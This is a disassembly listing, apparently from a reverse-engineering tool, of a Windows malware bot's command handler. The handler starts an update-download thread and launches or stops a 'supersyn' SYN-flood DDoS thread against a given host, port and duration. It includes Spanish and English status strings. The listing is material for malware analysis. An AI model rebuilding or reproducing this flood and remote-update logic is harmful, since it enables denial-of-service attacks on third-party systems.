mov ecx, dword [ebp + 8]
cmp dword [ecx + 0xc], 0
je 0x40345b
mov dword [ebp - 0x62c], 1
jmp 0x403465
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x638], 1
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x630], 0
cmp dword [ebp - 0xc], 0
je 0x403495
mov dword [ebp - 0xb80], 0x411564
jmp 0x4034a1
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0xb80], eax
mov ecx, dword [ebp - 0x640]
push ecx
mov edx, dword [ebp - 0xb80]
push edx
push str._Update_:
push 0x411568
push 4
call fcn.0040d680
add esp, 0x14
mov dword [ebp - 0x648], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0x6cc]
push ecx
push 0x407c8b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x648]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x648]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x403558
cmp dword [ebp - 0x614], 0
jne 0x40351f
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40350c
cmp dword [ebp + 0x1c], 0
jne 0x403556
cmp dword [ebp + 0x24], 0
je 0x403556
mov ecx, dword [ebp - 0x640]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
push str._Update_:
push str._s_Downloading_update_from:__s_to:__s.
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
jmp 0x403587
cmp dword [ebp + 0x1c], 0
jne 0x403587
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.transfer_thread
push str._Update_:
push str._s_Fail_start__s__err:___d_
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.supersyn
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40372c
push 0xe
call fcn.0040da54
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x4035ed
mov eax, dword [ebp - 8]
push eax
push str.ddos_thread
push str._DDOS_SYN_:
push str._s__s_ya_esta_corriendo:___d_
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
push 0x4115d4
lea eax, [ebp - 0xb68]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
push 0x4115d8
lea eax, [ebp - 0xae8]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0xc]
push edx
push 0x4115dc
lea eax, [ebp - 0xa68]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov dword [ebp - 0x964], 0
mov dword [ebp - 0x960], 0
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x958], ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xc]
push eax
lea ecx, [ebp - 0x954]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
push str._DDOS_SYN_:
push str._s_Flooding__s:_s_for__s_seconds
push 0xe
call fcn.0040d680
add esp, 0x18
mov dword [ebp - 0x968], eax
lea edx, [ebp - 0x10]
push edx
push 0
lea eax, [ebp - 0xb6c]
push eax
push 0x407a0f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x968]
imul ecx, ecx, 0x218
mov dword [ecx + 0x414210], eax
mov edx, dword [ebp - 0x968]
imul edx, edx, 0x218
cmp dword [edx + 0x414210], 0
je 0x4036fb
cmp dword [ebp - 0x95c], 0
jne 0x4036f9
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4036e6
jmp 0x40372a
cmp dword [ebp - 0x960], 0
jne 0x403723
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._DDoS_:_Failed_to_start_flood_thread__error:___d_.
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x10
mov eax, 1
jmp 0x40376c
jmp 0x40376a
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.supersyn.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40376a
push 1
push 0xe
call fcn.0040d8ab
add esp, 8
push str._DDOS_SYN_:
push str._s_Thread_Disabled.
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
xor eax, eax
mov esp, ebp
pop ebp
ret